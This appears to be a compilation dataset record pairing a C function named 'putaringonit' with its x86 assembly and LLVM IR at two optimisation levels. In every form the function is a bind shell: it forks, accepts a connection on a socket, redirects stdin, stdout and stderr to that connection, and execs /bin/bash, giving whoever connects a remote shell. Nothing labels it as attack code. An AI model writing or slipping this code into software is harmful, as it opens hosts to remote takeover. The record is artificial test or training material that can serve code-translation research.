#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct sockaddr_in {
  int dummy;
};
struct sockaddr {
  int dummy;
};
typedef int socklen_t;
typedef scalar_t__ pid_t;

/* Variables and functions */
int /*<<< orphan*/ STDERR_FILENO;
int /*<<< orphan*/ STDIN_FILENO;
int /*<<< orphan*/ STDOUT_FILENO;
int accept(int, struct sockaddr *, int *);
int /*<<< orphan*/ close(int /*<<< orphan*/);
int /*<<< orphan*/ dup2(int, int /*<<< orphan*/);
int /*<<< orphan*/ execl(char *, char *, char *);
int /*<<< orphan*/ exit(int);
scalar_t__ fork();
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ seppuku(int /*<<< orphan*/, int /*<<< orphan*/);
int putaringonit(int sock) {
  pid_t pid = fork();
  if (pid < 0) {
    return -1;
  } else if (pid > 0) {
    return pid;
  }
  struct sockaddr_in troll;
  memset(&troll, 0, sizeof(struct sockaddr_in));
  socklen_t len = sizeof(struct sockaddr_in);
  int rc = accept(sock, (struct sockaddr *)&troll, &len);
  if (rc < 0) {
    exit(rc);
  }
  seppuku(close(STDOUT_FILENO), 0);
  seppuku(close(STDERR_FILENO), 0);
  seppuku(close(STDIN_FILENO), 0);
  seppuku(dup2(rc, STDOUT_FILENO), STDOUT_FILENO);
  seppuku(dup2(rc, STDIN_FILENO), STDIN_FILENO);
  seppuku(dup2(rc, STDERR_FILENO), STDERR_FILENO);
  seppuku(execl("/bin/bash", "-s", (char *)0), 0);
  return 0;
}


x86 assembly (clang, -O0):
<putaringonit>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x8(%rbp)
mov    $0x0,%al
call   10a0 <fork@plt>
mov    %rax,-0x10(%rbp)
cmpq   $0x0,-0x10(%rbp)
jge    11ad <putaringonit+0x2d>
movl   $0xffffffff,-0x4(%rbp)
jmp    12d4 <putaringonit+0x154>
cmpq   $0x0,-0x10(%rbp)
jle    11c4 <putaringonit+0x44>
mov    -0x10(%rbp),%rax
mov    %eax,-0x4(%rbp)
jmp    12d4 <putaringonit+0x154>
jmp    11c9 <putaringonit+0x49>
lea    -0x18(%rbp),%rdi
xor    %esi,%esi
mov    $0x4,%edx
call   1040 <memset@plt>
movl   $0x4,-0x1c(%rbp)
mov    -0x8(%rbp),%edi
lea    -0x18(%rbp),%rsi
lea    -0x1c(%rbp),%rdx
call   1070 <accept@plt>
mov    %eax,-0x20(%rbp)
cmpl   $0x0,-0x20(%rbp)
jge    1205 <putaringonit+0x85>
mov    -0x20(%rbp),%edi
call   1080 <exit@plt>
mov    0x2de4(%rip),%rax
mov    (%rax),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    0x2db5(%rip),%rax
mov    (%rax),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    0x2d96(%rip),%rax
mov    (%rax),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    -0x20(%rbp),%edi
mov    0x2d9c(%rip),%rax
mov    (%rax),%esi
call   1030 <dup2@plt>
mov    %eax,%edi
mov    0x2d8c(%rip),%rax
mov    (%rax),%esi
call   1060 <seppuku@plt>
mov    -0x20(%rbp),%edi
mov    0x2d5b(%rip),%rax
mov    (%rax),%esi
call   1030 <dup2@plt>
mov    %eax,%edi
mov    0x2d4b(%rip),%rax
mov    (%rax),%esi
call   1060 <seppuku@plt>
mov    -0x20(%rbp),%edi
mov    0x2d42(%rip),%rax
mov    (%rax),%esi
call   1030 <dup2@plt>
mov    %eax,%edi
mov    0x2d32(%rip),%rax
mov    (%rax),%esi
call   1060 <seppuku@plt>
lea    0xd4c(%rip),%rdi
lea    0xd4f(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1090 <execl@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<putaringonit>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x10,%rsp
mov    %edi,%ebp
xor    %eax,%eax
call   10a0 <fork@plt>
test   %rax,%rax
js     11a4 <putaringonit+0x24>
je     11ae <putaringonit+0x2e>
mov    %rax,%rbx
jmp    128a <putaringonit+0x10a>
mov    $0xffffffff,%ebx
jmp    128a <putaringonit+0x10a>
lea    0x8(%rsp),%r14
xor    %ebx,%ebx
mov    %r14,%rdi
xor    %esi,%esi
mov    $0x4,%edx
call   1040 <memset@plt>
movl   $0x4,0x4(%rsp)
lea    0x4(%rsp),%rdx
mov    %ebp,%edi
mov    %r14,%rsi
call   1070 <accept@plt>
mov    %eax,%ebp
test   %eax,%eax
js     1299 <putaringonit+0x119>
mov    0x2e04(%rip),%r15
mov    (%r15),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    0x2dd4(%rip),%r14
mov    (%r14),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    0x2db4(%rip),%r12
mov    (%r12),%edi
call   1050 <close@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    (%r15),%esi
mov    %ebp,%edi
call   1030 <dup2@plt>
mov    (%r15),%esi
mov    %eax,%edi
call   1060 <seppuku@plt>
mov    (%r12),%esi
mov    %ebp,%edi
call   1030 <dup2@plt>
mov    (%r12),%esi
mov    %eax,%edi
call   1060 <seppuku@plt>
mov    (%r14),%esi
mov    %ebp,%edi
call   1030 <dup2@plt>
mov    (%r14),%esi
mov    %eax,%edi
call   1060 <seppuku@plt>
lea    0xd8d(%rip),%rdi
lea    0xd90(%rip),%rsi
xor    %edx,%edx
call   1090 <execl@plt>
mov    %eax,%edi
xor    %esi,%esi
call   1060 <seppuku@plt>
mov    %ebx,%eax
add    $0x10,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %ebp,%edi
call   1080 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { i32 }
%struct.sockaddr = type { i32 }
@STDOUT_FILENO = global i32 0
@STDERR_FILENO = global i32 0
@STDIN_FILENO = global i32 0
@.str = [10 x i8] c"/bin/bash\00"
@.str.1 = [3 x i8] c"-s\00"
define i32 @putaringonit(i32 %0) {
%2 = alloca i32
%3 = alloca i32
%4 = alloca i64
%5 = alloca %struct.sockaddr_in
%6 = alloca i32
%7 = alloca i32
store i32 %0, i32* %3
%8 = call i64 (...) @fork()
store i64 %8, i64* %4
%9 = load i64, i64* %4
%10 = icmp slt i64 %9, 0
br i1 %10, label %11, label %12
11: ; preds = %1
store i32 -1, i32* %2
br label %56
12: ; preds = %1
%13 = load i64, i64* %4
%14 = icmp sgt i64 %13, 0
br i1 %14, label %15, label %18
15: ; preds = %12
%16 = load i64, i64* %4
%17 = trunc i64 %16 to i32
store i32 %17, i32* %2
br label %56
18: ; preds = %12
br label %19
19: ; preds = %18
%20 = call i32 @memset(%struct.sockaddr_in* %5, i32 0, i32 4)
store i32 4, i32* %6
%21 = load i32, i32* %3
%22 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%23 = call i32 @accept(i32 %21, %struct.sockaddr* %22, i32* %6)
store i32 %23, i32* %7
%24 = load i32, i32* %7
%25 = icmp slt i32 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %19
%27 = load i32, i32* %7
%28 = call i32 @exit(i32 %27)
unreachable
29: ; preds = %19
%30 = load i32, i32* @STDOUT_FILENO
%31 = call i32 @close(i32 %30)
%32 = call i32 @seppuku(i32 %31, i32 0)
%33 = load i32, i32* @STDERR_FILENO
%34 = call i32 @close(i32 %33)
%35 = call i32 @seppuku(i32 %34, i32 0)
%36 = load i32, i32* @STDIN_FILENO
%37 = call i32 @close(i32 %36)
%38 = call i32 @seppuku(i32 %37, i32 0)
%39 = load i32, i32* %7
%40 = load i32, i32* @STDOUT_FILENO
%41 = call i32 @dup2(i32 %39, i32 %40)
%42 = load i32, i32* @STDOUT_FILENO
%43 = call i32 @seppuku(i32 %41, i32 %42)
%44 = load i32, i32* %7
%45 = load i32, i32* @STDIN_FILENO
%46 = call i32 @dup2(i32 %44, i32 %45)
%47 = load i32, i32* @STDIN_FILENO
%48 = call i32 @seppuku(i32 %46, i32 %47)
%49 = load i32, i32* %7
%50 = load i32, i32* @STDERR_FILENO
%51 = call i32 @dup2(i32 %49, i32 %50)
%52 = load i32, i32* @STDERR_FILENO
%53 = call i32 @seppuku(i32 %51, i32 %52)
%54 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* null)
%55 = call i32 @seppuku(i32 %54, i32 0)
store i32 0, i32* %2
br label %56
56: ; preds = %29, %15, %11
%57 = load i32, i32* %2
ret i32 %57
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32 }
%struct.sockaddr = type { i32 }
@STDOUT_FILENO = global i32 0
@STDERR_FILENO = global i32 0
@STDIN_FILENO = global i32 0
@.str = [10 x i8] c"/bin/bash\00"
@.str.1 = [3 x i8] c"-s\00"
define i32 @putaringonit(i32 %0) {
%2 = alloca %struct.sockaddr_in
%3 = alloca i32
%4 = tail call i64 (...) @fork()
%5 = icmp slt i64 %4, 0
br i1 %5, label %43, label %6
6: ; preds = %1
%7 = icmp eq i64 %4, 0
br i1 %7, label %10, label %8
8: ; preds = %6
%9 = trunc i64 %4 to i32
br label %43
10: ; preds = %6
%11 = bitcast %struct.sockaddr_in* %2 to i8*
%12 = call i32 @memset(%struct.sockaddr_in* %2, i32 0, i32 4)
%13 = bitcast i32* %3 to i8*
store i32 4, i32* %3
%14 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%15 = call i32 @accept(i32 %0, %struct.sockaddr* %14, i32* %3)
%16 = icmp slt i32 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %10
%18 = call i32 @exit(i32 %15)
unreachable
19: ; preds = %10
%20 = load i32, i32* @STDOUT_FILENO
%21 = call i32 @close(i32 %20)
%22 = call i32 @seppuku(i32 %21, i32 0)
%23 = load i32, i32* @STDERR_FILENO
%24 = call i32 @close(i32 %23)
%25 = call i32 @seppuku(i32 %24, i32 0)
%26 = load i32, i32* @STDIN_FILENO
%27 = call i32 @close(i32 %26)
%28 = call i32 @seppuku(i32 %27, i32 0)
%29 = load i32, i32* @STDOUT_FILENO
%30 = call i32 @dup2(i32 %15, i32 %29)
%31 = load i32, i32* @STDOUT_FILENO
%32 = call i32 @seppuku(i32 %30, i32 %31)
%33 = load i32, i32* @STDIN_FILENO
%34 = call i32 @dup2(i32 %15, i32 %33)
%35 = load i32, i32* @STDIN_FILENO
%36 = call i32 @seppuku(i32 %34, i32 %35)
%37 = load i32, i32* @STDERR_FILENO
%38 = call i32 @dup2(i32 %15, i32 %37)
%39 = load i32, i32* @STDERR_FILENO
%40 = call i32 @seppuku(i32 %38, i32 %39)
%41 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* null)
%42 = call i32 @seppuku(i32 %41, i32 0)
br label %43
43: ; preds = %1, %19, %8
%44 = phi i32 [ %9, %8 ], [ 0, %19 ], [ -1, %1 ]
ret i32 %44
}